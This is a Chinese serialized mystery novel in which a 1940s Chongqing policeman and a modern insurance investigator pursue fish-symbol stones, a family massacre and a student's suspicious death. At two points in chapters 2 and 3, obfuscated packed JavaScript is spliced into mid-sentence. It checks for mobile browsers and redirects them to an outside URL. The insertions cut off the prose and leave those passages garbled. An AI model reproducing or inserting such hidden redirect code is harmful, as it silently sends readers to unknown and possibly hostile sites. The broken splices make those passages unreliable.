《北冥有艅》 1. 楔子 1940年,山城,仲冬。 天将亮,吊脚楼里跑出个女人,前刘海,盘头,肤如凝脂,天生的美人胚子,可惜追的是个个头不高,皮肤黝黑的糙汉子,让画面失了几分唯美。 “子明,戴上它!”女人神神秘秘从怀里掏出根画满符文的红布条,伸手去拽男人的手,要替他戴上,却被男人推开了。 脱了手的红布条鬼也似的落在湿漉漉的石板地上,害得女人好生心疼,嘴里不住念着“罪过”。 男人似乎被女人挺着大肚皮,猴子捞月般捡布条的虔诚打动,捡起布条,塞回女人手里。 女人的手,冰凉柔软,像条水蛇趁机将男人的手紧紧锁住,之后三两下操作,红布条被牢牢绑在男人左腕上,几近勒进皮肉。 看到男人龇牙咧嘴,想解又解不开的样子,女人满意地拍拍手,回屋去了。 女人叫秋香,下江人,一年多前和做剃头匠的父亲逃难来到山城,为了生计,嫁给了本地人梁子明。 梁子明行伍出身,如今在山城的警局做事。父母早逝,姐姐远嫁,加上薪水不高,人到中年,仍未婚配,直到遇到秋香。在梁子明看来,秋香这人,温柔贤惠,持家有方,除了烧饭的口味不大合他胃口,是个极好的妻子,对自己百依百顺,唯独在迷信这事上,讲不通…… 两边是密匝匝的吊脚楼,身后是通天梯赛的火巷,一口口哈气呵白了暗不见的天日。 想起手腕上还戴着道明晃晃的鬼画符,梁子明脸颊一热,如梦初醒,趁天刚亮路上行人不多,将布条扯断了放进口袋。 梁子明扯断的鬼画符,正是秋香口中灵验无比的定魂绫,据说也是下江人带来的。这种说法其实并不是毫无依据,听一位上海来的报社记者讲,南京一带有“把一方丝绢藏在亡者胸前,殓后再取出挂于灵幡上,招魂归来”的传统。招魂丝绢传到山城,成了画满符文的红布条。 红布条的来历兴许如此,但要问这玩意如何在山城风靡,还要从一年前的一桩诡事讲起…… 民国二十八年六月,北岭团练局的少年队在鸭子湾一带进行水下训练时,意外发现一艘古沉船。由于有人在沉船内部带出了几块刻有鱼纹的石块,沉船因此被命名为北冥号,取自庄子《逍遥游》——北冥有鱼,其名为鲲。 北冥号的探索进程十分波折。先是进入过沉船内部的队员们相继出现严重精神问题,至今仍在医院接受治疗。再是为探求真相,当地力邀曾参与沿江险滩整治的英国工程师团队使用时下最先进的设备,对水下环境进行探测。三名工作人员连带装备在下水10分钟后尽数失踪,下落不明。 北冥号事件固然诡异,但由于消息封锁及时,并未造成社会秩序混乱。 真正把社会调查处的官爷们架在火上烤的,还是三个月前的东阳镇王家大院灭门案。 那是梁子明有生以来,见过的最离奇,最可怖的案件。 住在东阳镇黄家坝的绸缎商人王齐笙一家惨遭灭门,凶手手段极为残忍,以至于翻遍整座大宅,竟找不到一具完尸。死者们的头颅不翼而飞,身体支离破碎。 当地衙门接到报案不久,就向山城警局求助。经警局法医查验,这些高度腐烂的尸骨分别来自21个人,大致与王家登记在册的人口对应。唯有一名成年男性下落不明。据推测,此人正是一直男扮女装、以红妆示人的王家家主王齐笙。 作为当时协助赵泽富查案的警士之一,梁子明曾找到一位自称在衙门接到报案的前一天去过王家大院送东西的目击证人,流浪儿小四海。 鉴于小四海的证词与法医推断的死亡时间严重矛盾,且目击证人年纪小,精神状况不佳,口述不清,证词最终未被采纳。 梁子明回忆起来,尽管当时的案情疑点重重,但赵泽富为完成上级指示尽快结案,最终以在王家祠堂中发现的被供奉起来的鱼纹石头,以及王齐笙留下的几封言辞荒诞的书信,推断王齐笙信奉邪典,以全家人性命枉献魔神,此案就此草草收尾。 东阳镇地方不大,风声走漏极快。何况死了这么多人,还是那个高墙深院,从不与外界联系的王家。 一传十,十传百,传出了镇,传遍了城。大街小巷,听到有人议论此事,认不认得都要摆上两句。 有的说王家大院所在的黄家坝早些年是个乱葬岗,极阴之地,王齐笙平时就不男不女,就是被女鬼附了身。 也有喝过洋墨水的说,这其实是某种源自西洋邪恶宗教的“圣餐”,丢失的血肉还有头颅其实就是被信仰者分食了,这个信仰者指的就是王齐笙和他不确定是否存在的“同伙”。 动乱年代,人们就像惊弓之鸟,王家大院惨案引发的恐慌很快席卷整个山城。平日一些言行有异的人不由分说被归为王齐笙同党,并因此遭到殴打甚至拘禁。还有趁机疯狂敛财的江湖术士,变着花样行骗,忙得警员们焦头烂额,叫苦不迭。 秋香逼梁子明戴在手上的定魂绫就是在这期间走俏的。据卖她神符的大师说,戴上这东西准保梁子明的魂不被脏东西勾走,秋香听了二话没说就掏了钱…… 如今的山城不比往日,有了陪都这层身份,岂能允许这种迷信落后的言论持续发酵。社会调查处应上级部门要求,联合警署,藉辟谣传而正风俗,四处宣讲,印发通告,晓谕民众,以释群疑。 然收效甚微。 宣讲通告没用,多半是因为还不深入。领导们拍拍脑袋决定发传单,挨门到户地宣传! 梁子明被分调的区域是鱼龙混杂的贫民窟塔子沟。 山城的冬天,一寸光一寸金。梁子明带着传单来到塔子沟不过晌午,天灰得好像矿上小孩洗不干净的脸。 塔子沟一带早先是产煤区,民国初年办起了洋火厂。洋火就是火柴,厂子办起来了,不少附近地方贫苦人家的妇孺老幼来都来进厂摆签,糊火柴盒,人气越聚越旺,引来更多洋火厂。 好花不常开,好景不常在。前几年发布了个《火柴章程》,取消了火柴统销,市场一放开,那些实力不强的小厂由于技术落后,销路不畅,接连倒闭。没工作的人越来越多,附近的治安每况愈下。 负责塔子沟洋火厂街巡逻的警士叫刘瑞峰,禾川人,算是梁子明从军时的前辈,到了塔子沟总要先和他打声招呼。不过这人不是一般油滑,什么《警长警士服务规程》还有警局规定的巡逻路线、巡逻次数在他这都不存在,这会人还不知道躲在哪个角落里偷懒耍滑。 这一路凡是经过茶馆、饭铺一类能消遣的地方,梁子明总会多留意几眼。 路过洋火茶馆后巷,梁子明的视线落在一群小娃娃身上。 这些孩子一行七八个人,大的估计十一二岁,小的也就四五岁,不知道在玩什么游戏,一群人围成一圈朝地上扔石头,边扔边骂,着了魔似的。 其中一个光屁股的,最先瞧见梁子明,立刻提醒同伴。不等梁子明开腔,小东西们就做贼心虚,四散而逃。 梁子明眼疾手快,逮住个年纪小、跑得慢的。小娃儿拼命挣扎,手里攥着的石头掉在了地上。 石头鸡蛋大小,椭圆形,往口袋一摸,还有好几个。 梁子明将小娃儿夹在腋下,捡起石头一瞧,石头上竟有与古沉船、王家大院发现的石头极为相似的鱼形纹。 难道只是巧合?梁子明不信邪,朝小孩们扔在地上的石头又踢了两脚,被踢散的石头下露出一只蝴蝶的断翼。 他们扔石头只是为了砸蝴蝶玩?但这鱼纹石头又如何解释…… “啷个来的!”梁子明一把握住小娃的脖子,特意把石头刻有鱼纹的一面对着他的眼睛。 小娃被梁子明吓得浑身颤抖,鼻涕流进嘴里也不敢吸:“洋……洋火厂。” “哪个洋火厂?” “洋火厂……” 后来,不论梁子明问什么,男娃娃的回答只有三个字,洋火厂。 梁子明 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梁子明转身靠在厂房的外墙上,额角渗出的热汗在冷风中冒着不易察觉的白气,好像脑袋转得过快,热冒了烟。 难道这声音就是大肚菩萨发出的?亦或是刻鱼纹石头的人? 如果真是这样,那么里面藏匿的极有可能是杀了全家人的逃犯王齐笙。当然,也有可能什么都没有,只有一群无家可归的穷孩子。 梁子明是来发传单的,没领配枪,悄悄摸遍了厂房四周,只找到一根泡酥了的烂木头和一把生锈的弯刀。如果里面真是王齐笙……他也想过退缩,但双腿不由自主地来到厂房门前,等待手的发落。 吱呀吱呀—— 梁子明用力一拉,沉重的厂房大门像一只庞然大物的巨口,缓缓张开,浓重的腥臭味扑面而来。如何形容这种味道,大概是比把半条嘉陵江的鱼用秋香家的祖传手艺做成咸鱼还要臭。 梁子明干呕了几声,忍着反胃冲了进去。 在一片微尘中,他看到了被五花大绑、塞住嘴巴的刘瑞峰正躺在地上,像青虫一样蠕动。 见到来人是他,刘瑞峰十分激动,鼻腔里发出唔唔的声音,似乎是在向他求救。 梁子明下意识想为他松绑,但一想到他是被何人绑在这里,突然停住脚步,转向身后。 “大肚菩萨。”梁子明从发紧的喉咙里挤出四个字。 没错,小娃儿口中的“大肚菩萨”,就在距离他十几米远的水泥池子里。 这位“菩萨”没有须弥座,而是像洋教的神被钉在十字架上那样,被绑在水池中央的木杆上。 再走近些,还能看到她双脚踩在污水里,头垂着,披头散发,身上只有关键部位用几块破布遮挡,整个身体肿胀得发亮,尤其是腹部,高高隆起。 与秋香的孕肚不同,她的肚皮被撑得几近透明,能清晰看到无数蓝绿色的血管。 “什么人?”。 梁子明的声音不知停顿了多久,被他用木头和弯刀瞄准的女人脚边泛起涟漪,随后发出细微水声。 “好——香——” 刚才一直一动不动的女人突然机械地抬起下巴,乱糟糟的头发挡住了她的眼睛,却无法挡住梁子明如潮水般袭来的恐惧。 “好——香!”女人又重复了一遍。 那个令人毛骨悚然的声音像是小洞天酒楼门口的饭菜香气,萦绕在梁子明头顶上方,挥之不去,末了她竟真如嘴馋了舔了舔嘴角。 梁子明的腿不受控地一步一退,手里的烂木头滑落在地,摔成几截,随之掉落的还有一只破旧公文包,和装在包里的鱼纹石头…… 民国二十九年西元十二月某日,塔子沟华丰洋火厂旧厂房发生离奇命案,两名警员一死一失踪。 几星期后,这场恐慌以一场突如其来的敌军空袭画上句点。 2. 符号 北城,市郊的出租屋。 太阳光从两片紧闭的窗帘缝间挤进来,洒在茶几的外卖盒上,窗外的蝉鸣声几乎要压过电视机发出的游戏背景音。 为了省钱,余一舟在高温预警的天气不开空调,仅靠房东留下的两台岁数疑似比他年纪还大的风扇制造对流,人热得连胳膊都抬不起来,只能瘫在沙发上控制手柄投篮。 他也不是非要这样没苦硬吃,每个月的工资除了计划好的生活费,都存进了攒婚房首付的公共账户。加上他一激动辞了个职,还找不到工作…… 开不了源,只能节流。 拿起手机想看眼时间,屏幕闪现一个陌生号码,清清嗓子接起,白高兴一场,不是面试邀约,是位不熟的前同事。 “一舟,我是秦洋,最近怎么样?” 余一舟翻了翻眼皮,秦洋这人他还真有点印象,是前不久从同行那边跳槽过来的。两人没什么业务交集,说不上几句话,顶多算是个点头之交。听这口气,该不会是要结婚了找他收份子钱吧…… 为了避免给荷包带来不必要的损失,余一舟保持警惕:“什么事?我辞职了,工作上的事找王总,私下嘛……咱俩好像也没什么私下的事吧。” 秦洋对余一舟的反应好像早有预料:“是这样,你别多虑,我这有个活,跟你原先的工作经验契合,刚好你不是离开公司了嘛,时间也自由……” 听电话那边没急着反驳,秦洋继续介绍:“这活呢,说大不大,花不了你太长时间。说小也有些麻烦,不过麻烦归麻烦,报酬可观。十万块,分两笔,三七分,预付三万,完事七万……” “这么好的事,干嘛找我,自己干呗。” 余一舟打开扬声器,把手机撂在一旁。可想到十万块钱快赶上自己一年收入,还是退出游戏,认真等待秦洋的回复。 “舟哥,我不是说了嘛,这活只有你能干,我也没做过保险调查员,不符合人家要求。” “是调查……你抽多少?” “五千。” “具体说说。” “具体我也说不清,这样如何,晚上我做东,请你们双方见一面,让他们自己跟你说。” “他们?有几个人?” “你来了就知道了。” 秦洋发的定位是一家高档中餐厅,大门低调,进去以后才发现是个很有年代感的中式园林建筑,看派头,要真是他请客,保守地算,一次至少吃掉他大半抽成。 按秦洋指示,余一舟报了秦先生,服务员带他在抄手游廊里绕来绕去,最终停在一个房间门前。 推开精致的雕花木门,室内橙黄色的光投在他身后昏暗的走廊上。门对面,坐在秦洋右手边一对面色苍白、双眼无神的中年男女齐刷刷抬起头,望着他欲言又止。 余一舟大致扫了眼,坐最左边的男人穿了件黑色奢牌保罗衫,戴着金丝框眼镜和他不认识但一看就价格不菲的手表,儒雅的脸顶着一头有些凌乱的发,鬓边泛白。 旁边的女人额头圆润,身材丰腴,穿了件白色连衣长裙,罩着一件利落的黑色西装外套,五官精明锐利,两颊有些凹陷,双眼布满血丝。 两人看样子像是夫妻,一般这个年纪的夫妻找他,多半是为了孩子。 “二位是为孩子的事找我?”余一舟选了个正好能与三人面对面的位置坐下。 对于他的猜测,女人看向秦洋。 秦洋连忙摇头,看样子是想说自己并没有提前跟他透露。 余一舟看出了女人的疑惑,又指了指一桌子素菜:“看二位的经济实力,这全素宴……是孩子出事了?” 对于他的说法,女人哀伤,男人厌烦。 余一舟不紧不慢拿起筷子,夹起转到面前的冷菜里的花生米,丢进嘴里:“你们的时间应该比我宝贵,开门见山吧,想调查什么?” 女人看样子对余一舟的眼力还算满意,但男人仍持保留态度,不愿让女人多说。 秦洋见状,立刻起身为男人添茶:“张总,不知道李总跟您说过没,一舟之前是我们公司金牌调查员,什么伪造交通事故骗保、父亲谋杀女儿骗保,自杀骗保都是他一手……调查出来的!” 好特喵的大喘气,有这么用词的吗,余一舟腹诽:还好没说都是他一手做的。 况且金牌调查员他也当之有愧。说他是金牌,那是因为他们这个公司业务不多,他师傅吴志军退休后,就剩他一人,银牌和铜牌也是他。 至于那些案子,多数是他师傅吴志军调查的,他顶多算是打杂的。吴志军学刑侦出身,正儿八经当过刑警,经验丰富,是余一舟入行的领路人。不过人家半年前就退休了,看朋友圈正在全国各地游山玩水呢。 男人久经商场,一眼看穿秦洋这种销售人的说话套路,手挡在杯口:“之前是……那现在在哪高就?” 为避免秦洋信口开河,余一舟抢答:“失业在家。” 秦洋瞥了这扶不起的阿斗一眼,连忙解释:“……这确实跟他的个人能力无关,主要是他这人说话耿直,得罪领导才……” 男人没好气:“看出来了。” 余一舟皮糙肉厚,对男人的态度视而不见,淡定吃菜。心里还在品鉴,虽说桌子上都是素菜,但是各是各的滋味,并且调料丝毫没有遮盖食物的本味,这和他平时点的肉、菜都一个味的外卖确实有很大区别,不愧是个高端局。 圆桌对面,秦洋放下茶壶,悻悻回到自己的座位上。 那个被他称作张总的男人沉默了一会,终于对身旁的女人开口道:“春梅,要我说这件事情就到此为止吧,再搞下去你我都要疯掉……” 李春梅听了他的话,像是被触发了什么关键词,本来平和的脸上一时间多了无数条狰狞的纹路:“张建平,儿子尸骨未寒,你就这么急着撇清关系,跟你的小家过好日子?我偏不让你如意!” 张建平一看就不清白,脸憋得通红才挤出一句不痛不痒的话:“当着外人面胡说什么?什么尸骨未寒,儿子已经入土为安了,你也该……向前看。” 两人终归是体面人,吵了三两句,就冷了场。 余一舟见秦洋不吱声,咳咳两声,放下筷子:“两位老总,还请你们商量好,十万块钱对你们来说可能不值一提,但对我这种工薪阶层可不是个小数目。咱们这委托一旦定下来,可就不能反悔了。” 李春梅把椅子往秦洋那边靠了靠,似是要和张建平划清界限:“我再问最后一个问题,答出来这事就定了,三万我立刻转你。” 不等余一舟回应,她继续说:“既然你那么善于观察推理,你知道我儿子出的什么事?” 对于李春梅这种求签问卦式的提问,余一舟有些无奈地推了推眼镜:“李总,首先必须跟您说清楚,我失业以前就是个保险公司的小调查员,不会算命。您让我断前事,我确实不擅长。不过我这人好奇心重,爱猜,我猜您儿子是自杀或意外,但您本人并不相信?” 李春梅好像在茫茫大海里找到了自己那根救命稻草,红着眼,情绪激动:“我儿子不可能自杀!” 李春梅这样的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李春梅恶狠狠地剜了眼想阻止她说下去的丈夫:“我也搞不懂……而且这几年他们学院已经出了好几次事。” “从小涛硕士时的导师沈垚失踪开始。那个老师比我们年纪还大,大概是四五年前在西南地区做调研时在山里走失的,至今下落不明。后来没多久,听我儿子说和沈老师一起去调研的博士得了精神病,都快毕业了还是退学了。去年,他们学院有个三十多岁的年轻教授死在了办公室的沙发上……” 前面两人,听起来是一个意外失踪,一个是精神疾病,时间久远,和张洪涛自杀联系在一起有些牵强。 “您刚说到的最后一位年轻教授的死因是?” “学校通报的是猝死……” 余一舟泄了气:“那之前那位失踪的那位老师是研究什么的?” “人类学。” 余一舟虽然不知道人类学具体是研究什么的,但多少也了解一些高校现状。 “您儿子现在的导师是个什么样的人?我听说某些高校老师会压榨学生,我有个表妹学理工科,读研时在实验室给导师打工,暑假都不让回家,得了抑郁症,差点退学。” “小涛现在的导师是他们学院的院长,经常给学生们介绍资源,之前我们还和他一起吃过饭,人很好,不会是他……” “这么说,您已经有了怀疑对象?” 李春梅面露厉色:“一定是那个女人,是她在精神控制小涛!” 3. 南字 饭局结束回家已是凌晨,女友田嘉茵已经睡下,余一舟揣着微信钱包里轻飘飘的二万五,重重地瘫在客厅的沙发上。 相比饭店包房里暖黄色的灯光,出租屋冷白色的吸顶灯更能让他清醒。 “十万块,找一个人……” 余一舟再次放大李春梅发给自己的照片。 一间无人的教室,一个穿格子衬衫,戴棒球帽的年轻女人背影。女人旁边,李春梅的儿子张洪涛跪在地上,抓着她的胳膊,露出侧脸,看起来像在哀求。 据李春梅说,张洪涛从半年前开始突然变得不正常。张洪涛的女友温雅莉告诉她,张洪涛经常精神恍惚,偷偷打电话,半夜不睡觉,时不时还会自言自语。 李春梅在得知儿子情况后,曾多次劝他去精神科就医,都被张洪涛拒绝了。为此,他还与向李春梅“告密”的温雅莉发生了激烈的争吵。 就在争吵发生之后的一个月,张洪涛主动向温雅莉道歉,并给李春梅打电话,说自己找到了一位能够治疗他睡眠障碍的心理医生,又向母亲索要七万块作为治疗费。 李春梅怀疑儿子被骗,但为了不影响母子关系,她在给张洪涛打钱后,雇了一名私人调查暗中跟踪张洪涛,企图找到骗子。 那个二十四小时盯着张洪涛的私人调查并未找到所谓的心理医生,而是在北城大学的校庆活动上偷偷拍下了这一幕。 私人调查告诉李春梅,他听到张洪涛求那个女人把什么告诉自己,而那个女人离开教室后就消失在了人海中。 除了照片,唯一有用的线索就是他曾看到女人和几个学生说话,看起来不像陌生人。 参加校庆活动,又不像陌生人。这个一直以背影出现在私人调查视线中的神秘女人极有可能是北城大学的老师、校友或学生。 余一舟有了大致方向,只待明天去张洪涛生前的住所查看一番,再和温雅莉以及张洪涛平常交往密切的同学朋友们了解一下情况。 李春梅答应他找到这个女人就结钱,他想以自己这些年苦练的职业技能,挣到剩余的七万块应该不会太难。 虽然距离七万块还有一定距离,但二万五是实实在在拿到了。人一有钱,就想花钱。 计划好了明天的行程和提问的重点,余一舟打开了购物app,一口气下单了女友喜欢但舍不得买的香水,还有他自己喜欢的鞋,再留出一笔两人吃顿大餐的钱,剩下通通存进理财。 至于该如何跟女友解释这笔钱的来路,他还没想好,就躺在沙发上睡着了。 北城地处北方,天再热,等太阳落山,暑气就消了大半。余一舟租的这个西晒房比那种南北通透的凉得自然慢些,开一个小风扇,勉强糊弄得过去。 就是不知道是不透气,还是沙发太硬,时梦时醒,有些恍惚。 在不记得第几次翻身后,他突然感觉有双冰凉的手在拍他的脸,想睁眼,眼皮像注了铅,怎么也睁不开。 囫囵个儿握住那双手,放在胸口,一阵凉意透过衣服,直入五内。 自从他失业在家以来,每个工作日的早晨,女友上班前都会这样急匆匆地拍拍他,叫他起床去找工作,但今天这只手好像没有急着抽回去,而是一直停在他胸口。 细思,极恐。凉意变成了寒意。 余一舟用尽力气睁开眼,这对心灵的窗户好像挂了霜,只能借着窗外的月光和路灯微弱的光亮隐约勾勒出一个黑乎乎的人形轮廓。 他下意识拿起压在胸口上的手,放在面前,湿冷的掌心正中是一个黑色的圆,圆圈中心有个点。 那个符号!是张洪涛? 余一舟吓得从沙发滚到地上,酸痛中,噩梦惊醒,浑身是汗。一看手机,才凌晨五点,重新躺下,睡意全无。 回想起李春梅说张洪涛生前曾有过噩梦不醒和睡眠障碍的情况,以及被一个神秘女人“精神控制”,自己现在刚介入就做噩梦,难道有什么必然的联系…… 但冷静下来,又觉得这不就是日有所思,夜有所梦。 不过经此一梦,他决定先不把这件事告诉女友,等十万块都到手,尘埃落定了再说。 早上七点,田嘉茵起床,余一舟把酝酿了一晚上的善意谎言告诉了对方。 “怎么突然想去摇奶茶?” 余一舟不敢直视田嘉茵的眼睛:“啊对,就在大学城那边。你也知道,我暂时找不到合适的工作,也不能总在家待着坐吃山空,现在不是都宣传要脱掉孔乙己的长衫嘛……” 田嘉茵赶着去上班,没时间闲扯,三言两语就被他搪塞了过去。二人一起出门挤地铁去市中心,一个上班,一个去兼职。 ******* 余一舟说去大学城摇奶茶,也不完全是在说谎。至少前半句是真的,他是真的要去大学城。 只不过不是去奶茶店兼职,而是要去北城大学西门附近的学府名城做调查,学府名城2栋二单元301就是张洪涛生前租住的地方。 可能是第一天开工,热情高涨,他到的很早,在小区门口的花坛边等了将近半小时,身上添了好几处蚊子包,才等到李春梅。 等人的间隙,他专门上网查了这个学府名城。其实就是北城大学的教职工家属院,千禧年初建成的老小区,人车没分流,早晚高峰,进出门经常排起长队。只见一辆外地车牌的黑色豪华轿车在小区门口停下,等李春梅下车就调头开走了。 简短到几乎可以忽略不计的寒暄之后,李春梅边带路边介绍,两年前家里按张洪涛的意愿,给他在北城的新区买了房,房子装修好后,张洪涛却迟迟不愿意搬离这个出租屋。 这是他和温雅莉为了平日去学校、公司方便,租的一个三室两厅。前房东是学校退休的老教师,教英语的。房子装修还是早些年的风格,但一些细节处仍可见当年的设计和品位。 三间卧室,除了主卧,一间用作书房,一间堆放杂物。温雅莉的东西已经搬走了,主卧空空荡荡。 张洪涛平常学习的书房正好相反,一切有如往常,桌子上倒扣的书,水杯里剩的半杯水,沙发床上没有叠的蚕丝被,好像这个人就是去楼下扔个垃圾,十分钟之后就会回来。 张洪涛出事后,为了保留这些回忆,李春梅全款从前房东手中买下了这套房,前天才正式办完过户手续。只是再次看到儿子的东西,她还是难免触景生情,眼角湿润。示意余一舟自便后,自己默默去了卫生间。 余一舟环顾四周,这间书房除了一张沙发床、书桌,就是一书柜的书。 扫了一遍,这些书大多和张洪涛的研究方向相关,不少还是他看不懂的外语书。粗看过去似乎没有哪本很突兀,也没有哪本新的特别或旧的离谱。 桌上倒扣的那本《庄子》倒是看着不面生,他记得上学时背过的《逍遥游》就是这本书里的。什么北冥有鱼,其名为鲲。化而为鸟,其名为鹏…… 但这似乎都难以跟那个照片上的神秘女人联系上。 正当他陷入沉思,李春梅回来了。 看着被打开的书桌抽屉,她倚着门,神色悲伤:“这些我们都翻了无数次了,那个药是治感冒的,那些钢笔都是他收集的,别的也没什么了。” 余一舟点点头,合上抽屉。 看着一抽屉的贵价钢笔就那么随便放着,连包装盒都没有,末了酸溜溜地感叹了句:“这是万宝龙大班系列吗?好品味……” “那支黑色的吗?喜欢就送你吧……” 见余一舟没当真,李春梅径直走到桌前,打开抽屉,取出一支黑色钢笔递给他。 余一舟眼馋归眼馋,想到笔的价格还是推辞了。 “你不嫌弃就收着吧,我儿子说物尽其用才算有所值。这是去年圣诞节我送他的,但他好像不喜欢,一次都没用,你拿去吧,希望它能助你找到凶手。” 眼见李春梅就那样把一只水灵灵的万宝龙墨水笔递到面前,一再推让,余一舟一个没忍住,接了下来,谢过对方。 李春梅平静地合上抽屉:“不用谢,尽快找到那个女人,我还要谢谢你。” 正所谓吃人嘴短拿人手软,有了两万五和钢笔,余一舟干劲更足了:“这里看的差不多了,我什么时候能见一下温雅莉?” “她这两天不方便,要不就在电话里说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821818|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李春梅拨通了温雅莉的电话,对方似乎还没有从张洪涛突然离世的创伤中走出,反应总是比问题慢半拍。 余一舟先问了她张洪涛的主要社会关系,他想女友总该比父母更了解。 温雅莉顿了顿表示,张洪涛和自己都不是本地人,在北城的朋友也不是很多,尤其是张洪涛不喜欢社交,平常也就是和同学,同门接触多一些。 “那他有哪些经常提起的人?” “他导师马院长,关系比较好、经常一起打游戏打篮球的同学林浩宇、杨晨光,还有他以前的导师沈垚。 ”这些都是在配合警方调查时讲过的,温雅莉回答地不假思索。 “那他在出事前,有没有什么奇怪举动?” 这个问题警方调查时也问过,温雅莉不知为何有些犹豫:“……那是我最后一次见他,就在那个出租屋。我刚下班回去,他急急忙忙要出门。他问了我一个问题——这是庄周梦蝶,还是蝶梦庄周。” “庄子?” “对,他是文哲学院的,问这个也没有很奇怪。就是他的表情……当我说完当然是庄周梦蝶后,他好像很高兴,然后头也不回地出去了。” “……我这边了解到,他之前有睡眠障碍,请问他有没有说过一些奇怪的梦话,或者在梦里有什么反常的行为?” 这点警方没问过,温雅莉那边又陷入了沉寂,大概过了一分钟左右:“半年前开始,他经常会在梦中呼救,然后惊醒。可能是恐惧之后想要释放压力,他醒来之后就会去冰箱里找吃的,暴饮暴食……吃完又全部吐出来。有一次,他在催吐之后,突然打开花洒,站在冷水里大喊……” “喊什么?” “我没听懂,只听到什么船啊浪的……对了,还有沈老师,他在喊沈老师。” ****** 余一舟回神时,正坐在书房的桌子前,手中是摊开的《庄子》。 书页安静地停在之前倒扣的那两页,第五十页和第五十一页,是《齐物论》的一部分。 余一舟用手指在铅笔画线的部分点了点——不知周之梦为胡蝶与,胡蝶之梦为周与?周与胡蝶,则必有分矣。此之谓物化。 “物化……” 可以看出这应该是庄周梦蝶这个典故的出处,除此之外他什么也品不出。 又快速把全书翻了一遍,发现还有一处也有勾画的痕迹——而后乃今将图南,出自《逍遥游》,其中“图南”二字还专门被圈了出来。 图南,在注释里的解释是图谋飞往南海,南海倒是有船有浪,不过跟那个神秘女人能有什么关系呢,难道是暗示对方是个“海王”?或者对方想去南方…… 余一舟把几个离谱的想法清理出脑子后,觉得头都轻了些。 他自知没什么文学素养,死磕哑谜只能浪费时间,还是换回原来的群众路线。 他把书复原倒扣回去,看向站在身旁欲言又止的李春梅:“李总,刚才温女士在电话里还提到沈垚。沈老师本人是问不到了,是否能找到他身边的人聊一聊?” 李春梅摇头。 由于沈垚是离奇失踪,她在儿子出事不久就私下打听过。这个沈老师一辈子没结婚,家里只有一位八十多岁的老母亲,没有兄弟姐妹。自从他几年前失踪,他母亲就在学校和社区的联系下住进养老院。 老太太有老年痴呆症,根本无法沟通,至今还不知道儿子已经被宣告死亡。 "我去养老院看过他母亲,脑子糊涂,见面还问我安南还好吗?我说什么安南,她旁边有位老人家说应该是联合国秘书长安南,老太太的记忆还停留在二十年前……" 认知功能障碍和记忆退化是老年痴呆症的常见表现。 余一舟想了想,又问:“那沈老师退学的那个博士能联系到吗?” 李春梅也否定了:“我还是很多年前听小涛偶然提起,那个学生好像是因为这次调研的缘故,得了严重的精神疾病,退学了。你也知道,这种事情学校都是严格保密的,我们连那个学生的名字都没问到。” 余一舟点点头,嘴里念叨:“安南,图南……都有个南字。” 4. 养老院 余一舟跟李春梅提过三个要求,看张洪涛生前住过的地方,问他未婚妻一些问题,还有和他的同学们见一面。前两项都已经做到了,就剩最后一项了。 宴请地点在北城大学附近的川香人家,是个川菜馆,店面不大,只有两个包间。不过菜品平价丰富,是周围大学学生聚会首选。 用余一舟的话来说,这地方不会给大家带来过多负担,熟悉的地方更容易问出点什么。而且李春梅一定不能在场,这样会给年轻人带来无形的压力。 虽然不能到现场,李春梅还是亲自开车把余一舟送到饭店所在的小吃街街口。 这条小吃街被称为北城大学校外小香港。大中午,街两边的灯牌还没亮,小吃都出摊了,烤五花、炸鸡、鸡爪、肉夹馍、馄饨、清补凉……目之所及都是学生们喜欢吃,但在家长们看来不健康、不卫生的东西。 目送余一舟拐进小巷,李春梅把车停在路边,拨通了手机里一个未添加通讯录的号码。 “找到了吗?”电话另端是个中年男人,接起电话连句基本的问候都没有,直入主题。 李春梅有些紧张,深吸口气:“还没,不过我已经请人去找了。” “去养老院。”男人斩钉截铁。 “去过了,那个老太太痴呆,根本不知道她叫什么,在哪。” 男人不耐烦地打断李春梅:“再去,留给你的时间不多了,庆典快开始了。” “我儿子他还好吗?” “如果不是我,早烂了。” 李春梅挂电话时,脸上的血色好像也被那通电话吸走了,只剩一片惨白。 ******* 一说是送别同门,同学们基本都到了,座无虚席。 余一舟大学是学理工科的,第一次和这么多文科生同处一室,刚开始还有些不自在。好在来之前就问清了张洪涛家的情况,同学们的问题基本都能应对,不知道的就编,也没人会深究。 菜上齐了,在每个人面前转了三四个来回,余一舟抛出了第一个问题,是庄周梦蝶还是蝶梦庄周? 大家对余一舟在这个场合问出这个问题多少感到些意外,不过还是认真表达了自己的观点,有的说庄周梦蝶,有的说蝶梦庄周,各有各的道理,但都基于字面,没有什么特殊反应。 还剩最后一个线索。 余一舟话锋一转:“感谢各位同学解答了我的疑惑,以前总是听表弟说这些,如今表弟不在了,没想到今天还能听到大家讲,我真是……我这人嘴笨不会说话,就替我姨妈谢谢大家这些年对小涛的关心,祝大家鹏程万里,就像那个庄子说的,背负青天,而后乃今将什么来着?” “图南。” 接话的是杨晨光,和张洪涛关系最好的几个同学之一。 只是说完这两个字,杨晨光自己也愣住了,看着同学们异样的眼光,小声嘀咕:“而后乃今将图南,不对吗?” “对,没错。确实是而后乃今将图南……”大师姐颜鹭尧出来打马虎眼。 余一舟追问:“大家刚才是想到了什么吗?” 沉默了一会,一位不修边幅的师兄开了口:“去他X的傻X学院……洪涛表哥不是外人,直说了吧,也不是什么大事,就是个谐音梗。” “谐音梗?” 